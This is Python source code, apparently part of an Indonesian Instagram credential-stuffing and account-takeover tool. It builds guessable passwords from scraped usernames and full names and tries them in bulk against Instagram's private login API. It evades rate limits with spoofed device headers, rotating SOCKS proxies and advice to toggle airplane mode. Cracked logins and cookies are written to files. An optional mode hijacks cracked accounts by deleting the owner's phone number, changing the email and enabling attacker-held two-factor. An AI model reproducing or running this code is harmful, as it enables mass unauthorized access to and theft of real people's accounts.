- try: tree = Tree(f'\r╭ logged in user',style='green'); true = tree.add(f"Succes logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); true = tree.add(f'\r╭ informasi date profiles',style='green'); true.add(f"Followerd {buka.split('|')[3]}"); true.add(f"Following {buka.split('|')[4]}"); true.add(f"Postingan {buka.split('|')[5]}"); true = tree.add(f'\r╭ auth secure account',style='green'); true.add(f"status two {buka.split('|')[6]}"); true.add(f"secret key {buka.split('|')[7]}"); true.add(f"pemulihan {buka.split('|')[8]}"); true.add(f"telephone {buka.split('|')[9]}"); true.add(f"add email {buka.split('|')[10]}"); true.add(f"web email {buka.split('|')[11]}"); true = tree.add(f"Cookie {buka.split('|')[12]}"); tree.add("Success cek in Result OK"); printz(tree)
- except Exception: tree = Tree(f'\r╭ logged in user',style='green'); true = tree.add(f"Succes logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); true = tree.add(f'\r╭ informasi date profiles',style='green'); true.add(f"Followerd {buka.split('|')[3]}"); true.add(f"Following {buka.split('|')[4]}"); true.add(f"Postingan {buka.split('|')[5]}"); true = tree.add(f"Cookie {buka.split('|')[6]}"); tree.add("Success cek in Result OK"); printz(tree)
- elif result in ('2','02'):
- for buka in open(f'/sdcard/2F/'+str(isi)).readlines():
- try: tree = Tree(f'\r╭ logged in two factor',style='red'); true = tree.add(f"Gagal logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); true = tree.add(f'\r╭ informasi date profiles',style='red'); true.add(f"Followerd {buka.split('|')[3]}"); true.add(f"Following {buka.split('|')[4]}"); true.add(f"Postingan {buka.split('|')[5]}"); tree.add("Success cek in Result 2F"); printz(tree)
- except Exception: tree = Tree(f'\r╭ logged in two factor',style='red'); true = tree.add(f"Gagal logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); tree.add("Success cek in Result 2F"); printz(tree)
- elif result in ('3','03'):
- for buka in open(f'/sdcard/CP/'+str(isi)).readlines():
- try: tree = Tree(f'\r╭ logged in checkpoint',style='yellow'); true = tree.add(f"Gagal logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); true = tree.add(f'\r╭ informasi date profiles',style='yellow'); true.add(f"Followerd {buka.split('|')[3]}"); true.add(f"Following {buka.split('|')[4]}"); true.add(f"Postingan {buka.split('|')[5]}"); tree.add("Success cek in Result CP"); printz(tree)
- except Exception: tree = Tree(f'\r╭ logged in checkpoint',style='yellow'); true = tree.add(f"Succes logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); tree.add("Success cek in Result CP"); printz(tree)
- def Methode(self):
- try:
- self.Meterans.append(Panel(f'[bold green]01.[bold white] Methode [bold green]Api V1\n[bold green]02.[bold white] Methode [bold green]Api Threads', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Api[bold grey50]) [bold green]<[bold yellow]<[bold red]<', width = 32, style='bold grey50', subtitle = "╭─────", subtitle_align = "left"))
- self.Meterans.append(Panel(f'[bold green]03.[bold white] Methode [bold green]Ajax V1\n[bold green]04.[bold white] Methode [bold green]Ajax Threads', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Ajax[bold grey50]) [bold green]<[bold yellow]<[bold red]<', width = 32, style='bold grey50'))
- Console().print(Columns(self.Meterans))
- Type_Method = Console().input("[bold grey50] ╰─> ")
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Apakah Anda Ingin Menggunakan Auto Amankan Akun [italic green]Ubah Password, Ganti Email, Hapus Nomor, Pasang Two Facktor[italic white] Jika Mendapat Result Ok!, Ketik [italic green]ya/y[italic white] Jika Ingin Menampilkan Dan Ketik [italic red]tidak/t[italic white] Jika Tidak Ingin Menampilkan Opsi Tersebut!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Amankan Akun[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- Secure_Akun = Console().input("[bold grey50] ╰─> ")
- if Secure_Akun =='y' or Secure_Akun =='ya':
- self.amankan_akun.append('ya')
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Apakah Anda Ingin Menggunakan [italic green]Useragent Manual[italic white] Untuk Melakukan Crack Akun!, Ketik [italic green]ya/y[italic white] Jika Ingin Menggunakan Dan Ketik [italic red]tidak/t[italic white] Jika Tidak Ingin Menggunakan Useragent Manual!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent Manual[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- Ua_Akun = Console().input("[bold grey50] ╰─> ")
- if Ua_Akun =='y' or Ua_Akun =='ya':
- self.uaman.append('ya')
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Useragent Anda, Anda Juga Bisa Menggunkan Useragent Baawaan Hp Anda [italic white]([italic green]my user agent[italic white])", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Masukan Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- Mugu = Console().input("[bold grey50] ╰─> ")
- self.uaku.append(Mugu)
- self.Exec_Password(Type_Method)
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<', width = 32, style='bold grey50'))
- exit()
- def Exec_Password(self, Type_Method):
- try:
- Console(width = 65, style = "bold grey50").print(Panel('''[bold white][bold green]01[bold white]. Password Fash [bold grey50]([bold green]Username, Nama 321,123,12345[bold grey50])\n[bold white][bold green]02[bold white]. Password Slow [bold grey50]([bold green]Username, Nama 321,123,1234,12345[bold grey50])\n[bold white][bold green]03[bold white]. Password Gabung [bold grey50]([bold green]Username, Nama 321,123,1234,12345,Dll[bold grey50])''', title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menu Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- Type_Password = Console().input("[bold grey50] ╰─> ")
- self.Password_Tambah(Type_Method, Type_Password)
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- def Password_Tambah(self, Type_Method, Type_Password):
- try:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Apakah Anda Ingin Menambahkan [italic green]Password Manual[italic white] Untuk Melakukan Crack Akun!, Ketik [italic green]ya/y[italic white] Jika Ingin Menambahkan Password Dan Ketik [italic red]tidak/t[italic white] Jika Tidak Ingin Menambahkan Password Akun!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menambahkan Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- Zigarete = Console().input("[bold grey50] ╰─> ")
- if Zigarete == 'y' or Zigarete =='ya':
- self.masukan_sandi.append('ya')
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silakan Masukan Password Anda, Misalnya : [italic green]Kamu Nanya, Jakarta, Semarang, Boyolali, Kebumen[italic white] Dan Lainnya!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Masukan Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- Masukan_Password = Console().input("[bold grey50] ╰─> ")
- for ops in Masukan_Password.split(','): self.password_manual.append(ops)
- else: self.masukan_sandi.append('no')
- self.Exec_Methode(Type_Method, Type_Password)
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- def Simpan_Result(self):
- self.waktu = datetime.datetime.now()
- self.bulan = ['Januari', 'Februari', 'Maret', 'April', 'Mei', 'Juni', 'Juli','Agustus', 'September', 'Oktober', 'November', 'Desember']
- return(f'OK-{self.waktu.day}-{self.bulan[self.waktu.month-1]}-{self.waktu.year}', f'2F-{self.waktu.day}-{self.bulan[self.waktu.month-1]}-{self.waktu.year}',f'CP-{self.waktu.day}-{self.bulan[self.waktu.month-1]}-{self.waktu.year}')
- def Exec_Methode(self, Type_Method, Type_Password):
- self.result_ok,self.result_two,self.result_cp = self.Simpan_Result()
- Console(width = 65, style = "bold grey50").print(Panel(f"[bold green]•[bold white] Result [bold green]OK[bold white] Tersimpan Di Folder : /sdcard/OK/[bold green]{self.result_ok}\n[bold green]•[bold white] Result [bold red]2F[bold white] Tersimpan Di Folder : /sdcard/2F/[bold red]{self.result_two}\n[bold green]•[bold white] Result [bold yellow]CP[bold white] Tersimpan Di Folder : /sdcard/CP/[bold yellow]{self.result_cp}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Result Instagram[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- Console(width = 65).print(Panel('[italic green]Mainkan Mode Pesawat Setiap 200 Looping Agar Terhindar Spam!',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Warning Spam[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'))
- with ThreadPoolExecutor(max_workers=30) as V:
- for Username_And_Fullname in dump:
- username, fullname = Username_And_Fullname.split('<=>')
- self.password = []
- if Type_Password =='01' or Type_Password =='1':
- for nama in fullname.split(' '):
- if len(nama) < 3: continue
- else:
- for passwords in [f'{nama}321', f'{nama}123', f'{nama}12345']:
- if len(passwords) < 6 or str(passwords).isalnum() == False or len(nama.split(' ')) > 5:
- continue
- else:
- self.password.append(f'{str(passwords).lower()}')
- for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
- if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
- continue
- else: self.password.append(f'{str(passwords).lower()}')
- elif Type_Password =='02' or Type_Password =='2':
- for nama in fullname.split(' '):
- if len(nama) < 3: continue
- else:
- for passwords in [f'{nama}321', f'{nama}123', f'{nama}1234', f'{nama}12345']:
- if len(passwords) < 6 or str(passwords).isalnum() == False or len(nama.split(' ')) > 5:
- continue
- else:
- self.password.append(f'{str(passwords).lower()}')
- for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
- if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
- continue
- else: self.password.append(f'{str(passwords).lower()}')
- elif Type_Password =='03' or Type_Password =='3':
- for nama in fullname.split(' '):
- if len(nama) < 3: continue
- else:
- for passwords in [f'{nama}321', f'{nama}123', f'{nama}1234', f'{nama}12345', f'{nama}123456', 'INDONESIA','SEJAHTERA']:
- if len(passwords) < 6 or str(passwords).isalnum() == False or len(nama.split(' ')) > 5:
- continue
- else:
- self.password.append(f'{str(passwords).lower()}')
- for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
- if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
- continue
- else: self.password.append(f'{str(passwords).lower()}')
- else:
- for nama in fullname.split(' '):
- if len(nama) < 3: continue
- else:
- for passwords in [f'{nama}321', f'{nama}123', f'{nama}12345']:
- if len(passwords) < 6 or str(passwords).isalnum() == False or len(nama.split(' ')) > 5:
- continue
- else:
- self.password.append(f'{str(passwords).lower()}')
- for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
- if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
- continue
- else: self.password.append(f'{str(passwords).lower()}')
- if 'ya' in self.masukan_sandi:
- for Pemasukan_Password in self.password_manual:
- self.password.append(Pemasukan_Password)
- if Type_Method in ('1') or Type_Method in ('01'): V.submit(self.ExecApi, username, self.password)
- elif Type_Method in ('2') or Type_Method in ('02'): V.submit(self.ExecApi_Threads, username, self.password)
- elif Type_Method in ('3') or Type_Method in ('03'): V.submit(self.ExecAjax, username, self.password)
- elif Type_Method in ('4') or Type_Method in ('04'): V.submit(self.ExecAjax_Threads, username, self.password)
- else: V.submit(self.ExecApi, username, self.password)
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Selamat Kamu Telah Mendapatkan [bold green]{self.success}[bold white] Hasil [bold green]Success[bold white], [bold red]{self.faktor}[bold white] Hasil [bold red]Two Faktor[bold white] Dan [bold yellow]{self.chekpoint}[bold white] Hasil [bold yellow]Checkpoint[bold white] Dari [bold blue]{len(dump)}[bold white] Username, Semua Hasil Tersimpan Di Result!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Selesai[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- def ExecApi(self, username, password):
- byps = requests.Session()
- Console().print(f"[bold grey50] ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{'{:.0%}'.format(self.looping/float(len(dump)))}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.looping}[bold grey50]/[bold white] Ok:-[bold green]{self.success}[bold white] 2f:-[bold red]{self.faktor}[bold white] Cp:-[bold yellow]{self.chekpoint}[bold white] ", end='\r')
- ua_generate = Useragent().useragent_api()
- for passwd in password:
- try:
- if 'ya' in self.uaman: ua_generate = self.uaku[0]
- else: ua_generate
- login_attempt_count=0
- if login_attempt_count > 10:
- login_attempt_count=0
- hash = hashlib.md5()
- hash.update(username.encode('utf-8') + passwd.encode('utf-8'))
- hex_ = hash.hexdigest()
- signed_body = random.choice(['SIGNATURE','7b589ee94c17a18ac2ea9a5247069f1d5f631ba9a37fae36429f10be5dddccfa'])
- hash.update(hex_.encode('utf-8') + '12345'.encode('utf-8'))
- Instagram_app = {'signed_body': str(signed_body)+'.'+str(json.dumps({"id":"{}".format(str(uuid.uuid4())),"server_config_retrieval":"1","experiments":"ig_android_fci_onboarding_friend_search,ig_android_device_detection_info_upload,ig_android_sms_retriever_backtest_universe,ig_android_direct_add_direct_to_android_native_photo_share_sheet,ig_growth_android_profile_pic_prefill_with_fb_pic_2,ig_account_identity_logged_out_signals_global_holdout_universe,ig_android_login_identifier_fuzzy_match,ig_android_reliability_leak_fixes_h1_2019,ig_android_video_render_codec_low_memory_gc,ig_android_custom_transitions_universe,ig_android_push_fcm,ig_android_show_login_info_reminder_universe,ig_android_email_fuzzy_matching_universe,ig_android_one_tap_aymh_redesign_universe,ig_android_direct_send_like_from_notification,ig_android_suma_landing_page,ig_android_direct_main_tab_universe,ig_android_session_scoped_logger,ig_android_accoun_switch_badge_fix_universe,ig_android_smartlock_hints_universe,ig_android_black_out,ig_android_account_switch_infra_universe,ig_android_video_ffmpegutil_pts_fix,ig_android_multi_tap_login_new,ig_android_caption_typeahead_fix_on_o_universe,ig_android_save_pwd_checkbox_reg_universe,ig_android_nux_add_email_device,ig_android_direct_remove_view_mode_stickiness_universe,ig_username_suggestions_on_username_taken,ig_android_analytics_accessibility_event,ig_android_ingestion_video_support_hevc_decoding,ig_android_account_recovery_auto_login,ig_android_feed_cache_device_universe2,ig_android_sim_info_upload,ig_android_mobile_http_flow_device_universe,ig_account_recovery_via_whatsapp_universe,ig_android_hide_fb_button_when_not_installed_universe,ig_android_targeted_one_tap_upsell_universe,ig_android_gmail_oauth_in_reg,ig_android_native_logcat_interceptor,ig_android_hide_typeahead_for_logged_users,ig_android_vc_interop_use_test_igid_universe,ig_android_reg_modularization_universe,ig_android_phone_edit_distance_universe,ig_android_device_verification_separate_endpoint,ig_android_universe_noticiation_channels,ig_smartlock_login,ig_android_account_linking_universe,ig_android_hsite_prefill_new_carrier,ig_android_retry_create_account_universe,ig_android_family_apps_user_values_provider_universe,ig_android_reg_nux_headers_cleanup_universe,ig_android_device_info_foreground_reporting,ig_android_device_verification_fb_signup,ig_android_onetaplogin_optimization,ig_video_debug_overlay,ig_android_ask_for_permissions_on_reg,ig_assisted_login_universe,ig_android_display_full_country_name_in_reg_universe,ig_android_security_intent_switchoff,ig_android_device_info_job_based_reporting,ig_android_passwordless_auth,ig_android_direct_main_tab_account_switch,ig_android_modularized_dynamic_nux_universe,ig_android_fb_account_linking_sampling_freq_universe,ig_android_fix_sms_read_lollipop,ig_android_access_flow_prefill"})),'ig_sig_key_version': '4'}
- curl = byps.get('https://i.instagram.com/api/v1/si/fetch_headers/?challenge_type=signup&guid='+Requ().guid(), data = Instagram_app)
- headers = {
- 'x-ig-bandwidth-totalbytes-b': str(random.randint(5000000, 90000000)),
- 'x-ig-app-locale': 'in_ID',
- 'x-ig-bandwidth-speed-kbps': str(random.randint(2500000, 3000000) / 1000),
- 'x-ig-device-locale': 'in_ID',
- 'x-ig-mapped-locale': 'id_ID',
- 'x-pigeon-rawclienttime': '{:.6f}'.format(time.time()),
- 'x-ig-bandwidth-totaltime-ms': str(random.randint(2000, 9000)),
- 'x-ig-android-id': f'android-{hash.hexdigest()[:16]}',
- 'x-bloks-version-id': '14f543394cf83e14784db6457e197a7e61e34fcd161891682143f74cb69a8981',
- 'x-ig-timezone-offset': str(-time.timezone),
- 'x-ig-connection-type': random.choice(['MOBILE(LTE)', 'LTE','WIFI']),
- 'x-ig-capabilities': random.choice(['Fw==','3brTvwM=']),
- 'x-pigeon-session-id': f'UFS-{str(uuid.uuid4())}-0',
- 'x-ig-app-id': '567067343352427',
- 'priority': 'u=3',
- 'x-ig-family-device-id': f'{str(uuid.uuid4())}',
- 'user-agent': ua_generate,
- 'accept-language': 'id-ID, en-US',
- 'x-bloks-is-layout-rtl': 'false',
- 'x-ig-device-id': f'{str(uuid.uuid4())}',
- 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
- 'Host': 'api.instagram.com',
- 'x-fb-http-engine': 'Liger',
- 'x-fb-client-ip': 'True',
- 'x-fb-server-cluster': 'True',
- 'x-fb-connection-type': random.choice(['MOBILE.LTE', 'LTE','WIFI']),
- 'connection': 'keep-alive',
- 'cookie': (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
- }
- payload = json.dumps({
- 'username': username,
- 'phone_id': Requ().poid(),
- 'adid':Requ().adid(username),
- '_csrftoken': curl.cookies.get('csrftoken',None),
- 'guid': Requ().guid(),
- 'device_id': f'android-{hash.hexdigest()[:16]}',
- 'login_attempt_count': login_attempt_count,
- 'enc_password': Requre().enc_password(passwd)
- }
- )
- encode = ('signed_body='+str(signed_body)+'.'+urllib.parse.quote(payload)+'&ig_sig_key_version=4')
- proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
- response = byps.post('https://i.instagram.com/api/v1/accounts/login/', data = encode, headers = headers, allow_redirects=True).text
- self.result_ok, self.result_two, self.result_cp = self.Simpan_Result()
- if 'logged_in_user' in str(response):
- self.success+=1
- try: cookie = (';'.join(['%s=%s'%(name, value) for name, value in byps.cookies.get_dict().items()]))
- except (Exception) as e: cookie = (None)
- try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
- except (UnboundLocalError) as e: pass
- if 'ya' in self.amankan_akun:
- try:
- num = Require().DeltPhone(cookie)
- statp, pone = num['Dihapus'], num['Number']
- deleted = f'{pone} Di Hapus' if statp is True else f'{pone} Tidak Di Hapus'
- two = Require().Aktifkan2F(cookie)
- kode, key, statf = two['kode-pemulihan'], two['SecretKey'], two['success-a2f']
- stat2fa = 'Di Aktifkan' if statf is not False else 'Tidak Aktif'
- Temp = Require().AddMail(cookie)
- email, state, inbx = Temp['email'], Temp['di-konfirmasi'], Temp['Url']
- statd = 'Di Kofirmasi' if state is True else 'Tidak Di Konfirmasi'
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
- true.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
- truu = tree.add(Panel.fit("[bold green]SECURE ACCOUNT", style = "bold grey50"), style="bold white")
- truu.add(f'[bold green]deleted nomor {deleted}')
- truu.add(f'[bold green]ganti email {email} {statd}')
- truu.add(f'[bold green]web email {inbx}')
- truu.add(f'[bold green]autentikasi duo faktor {stat2fa}')
- truu.add(f'[bold green]secreet key {key}')
- truu.add(f'[bold green]kode cadangan [bold green]{kode}').add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{stat2fa}|{key}|{kode}|{deleted}|{email} {statd}|{inbx}|{cookie}\n'
- except Exception as e:
- print(e)
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
- tree.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
- else:
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
- tree.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
- with open('/sdcard/OK/'+self.result_ok,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif 'two_factor_required' in str(response):
- try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
- except (UnboundLocalError) as e: pass
- tree = Tree(Panel.fit("[bold red]LOGIN TWO FAKTOR", style = "bold grey50"), style="bold white")
- tree.add(Columns([Panel(f"[bold red]{username}", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", style = "bold grey50", width=30)]))
- tree.add(Columns([Panel(f"[bold red]{follower}", style = "bold grey50", width=19), Panel(f"[bold red]{followed}", style = "bold grey50", width=21), Panel(f"[bold red]{feedpost}", style = "bold grey50", width=19)]))
- tree.add(Panel(f"[bold red]{headers['user-agent']}", style = "bold grey50", width=61))
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
- self.faktor+=1
- with open('/sdcard/2F/'+self.result_two,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif 'challenge_required' in str(response):
- try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
- except (UnboundLocalError) as e: pass
- tree = Tree(Panel.fit("[bold yellow]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
- tree.add(Columns([Panel(f"[bold yellow]{username}", style = "bold grey50", width=30), Panel(f"[bold yellow]{passwd}", style = "bold grey50", width=30)]))
- tree.add(Columns([Panel(f"[bold yellow]{follower}", style = "bold grey50", width=19), Panel(f"[bold yellow]{followed}", style = "bold grey50", width=21), Panel(f"[bold yellow]{feedpost}", style = "bold grey50", width=19)]))
- tree.add(Panel(f"[bold yellow]{headers['user-agent']}", style = "bold grey50", width=61))
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
- self.chekpoint+=1
- with open('/sdcard/CP/'+self.result_cp,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif 'ip_block' in str(response):
- Console().print(f"[bold grey50] ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
- time.sleep(3.5)
- else: continue
- except (requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects) as e:
- Console().print(f"[bold grey50] ──>[bold red] KONEKSI ERROR!", end='\r')
- time.sleep(31)
- self.ExecApi(username, password)
- self.looping+=1
- def ExecApi_Threads(self, username, password):
- byps = requests.Session()
- Console().print(f"[bold grey50] ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{'{:.0%}'.format(self.looping/float(len(dump)))}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.looping}[bold grey50]/[bold white] Ok:-[bold green]{self.success}[bold white] 2f:-[bold red]{self.faktor}[bold white] Cp:-[bold yellow]{self.chekpoint}[bold white] ", end='\r')
- ua_generate = Useragent().useragent_api_threads()
- for passwd in password:
- try:
- if 'ya' in self.uaman: ua_generate = self.uaku[0]
- else: ua_generate
- hash = hashlib.md5()
- hash.update(username.encode('utf-8') + passwd.encode('utf-8'))
- hex_ = hash.hexdigest()
- hash.update(hex_.encode('utf-8') + '12345'.encode('utf-8'))
- headers = {
- 'x-ig-bandwidth-totalbytes-b': str(random.randint(5000000, 90000000)),
- 'x-ig-app-locale': 'in_ID',
- 'x-ig-bandwidth-speed-kbps': str(random.randint(2500000, 3000000) / 1000),
- 'x-ig-device-locale': 'in_ID',
- 'x-ig-mapped-locale': 'id_ID',
- 'x-pigeon-rawclienttime': '{:.6f}'.format(time.time()),
- 'x-ig-bandwidth-totaltime-ms': str(random.randint(2000, 9000)),
- 'x-ig-android-id': f'android-{hash.hexdigest()[:16]}',
- 'x-bloks-version-id': '8ca96ca267e30c02cf90888d91eeff09627f0e3fd2bd9df472278c9a6c022cbb',
- 'x-ig-timezone-offset': str(-time.timezone),
- 'x-ig-connection-type': random.choice(['MOBILE(LTE)', 'LTE','WIFI']),
- 'x-ig-capabilities': random.choice(['Fw==','3brTv10=','3brTvw8=','3brTvwM=']),
- 'x-pigeon-session-id': f'UFS-{str(uuid.uuid4())}-0',
- 'x-ig-app-id': '567067343352427',
- 'priority': 'u=3',
- 'x-ig-family-device-id': f'{str(uuid.uuid4())}',
- 'user-agent': ua_generate,
- 'accept-language': 'id-ID, en-US',
- 'x-bloks-is-layout-rtl': 'false',
- 'x-ig-device-id': f'{str(uuid.uuid4())}',
- 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
- 'Host': 'api.instagram.com',
- 'x-fb-http-engine': 'Liger',
- 'x-fb-client-ip': 'True',
- 'x-fb-server-cluster': 'True',
- 'x-fb-connection-type': random.choice(['MOBILE.LTE', 'LTE','WIFI']),
- 'connection': 'keep-alive',
- 'cookie': (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
- }
- encode = (f'params=%7B%22client_input_params%22%3A%7B%22device_id%22%3A%22android-{hash.hexdigest()[:16]}%22%2C%22login_attempt_count%22%3A1%2C%22secure_family_device_id%22%3A%22%22%2C%22machine_id%22%3A%22%22%2C%22accounts_list%22%3A%5B%5D%2C%22auth_secure_device_id%22%3A%22%22%2C%22password%22%3A%22%23PWD_INSTAGRAM%3A0%3A{str(int(datetime.datetime.now().timestamp()))}%3A{urllib.request.quote(str(passwd))}%22%2C%22family_device_id%22%3A%22{str(uuid.uuid4())}%22%2C%22fb_ig_device_id%22%3A%5B%5D%2C%22device_emails%22%3A%5B%5D%2C%22try_num%22%3A3%2C%22event_flow%22%3A%22login_manual%22%2C%22event_step%22%3A%22home_page%22%2C%22openid_tokens%22%3A%7B%7D%2C%22client_known_key_hash%22%3A%22%22%2C%22contact_point%22%3A%22{urllib.request.quote(str(username))}%22%2C%22encrypted_msisdn%22%3A%22%22%7D%2C%22server_params%22%3A%7B%22username_text_input_id%22%3A%22p5hbnc%3A46%22%2C%22device_id%22%3A%22android-{hash.hexdigest()[:16]}%22%2C%22should_trigger_override_login_success_action%22%3A0%2C%22server_login_source%22%3A%22login%22%2C%22waterfall_id%22%3A%22{str(uuid.uuid4())}%22%2C%22login_source%22%3A%22Login%22%2C%22INTERNAL__latency_qpl_instance_id%22%3A152086072800150%2C%22reg_flow_source%22%3A%22login_home_native_integration_point%22%2C%22is_platform_login%22%3A0%2C%22is_caa_perf_enabled%22%3A0%2C%22credential_type%22%3A%22password%22%2C%22family_device_id%22%3A%22{str(uuid.uuid4())}%22%2C%22INTERNAL__latency_qpl_marker_id%22%3A36707139%2C%22offline_experiment_group%22%3A%22caa_iteration_v3_perf_ig_4%22%2C%22INTERNAL_INFRA_THEME%22%3A%22harm_f%22%2C%22password_text_input_id%22%3A%22p5hbnc%3A47%22%2C%22ar_event_source%22%3A%22login_home_page%22%7D%7D&\bk_client_context=%7B%22bloks_version%22%3A%225f56efad68e1edec7801f630b5c122704ec5378adbee6609a448f105f34a9c73%22%2C%22styles_id%22%3A%22instagram%22%7D&bloks_versioning_id=8ca96ca267e30c02cf90888d91eeff09627f0e3fd2bd9df472278c9a6c022cbb')
- proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
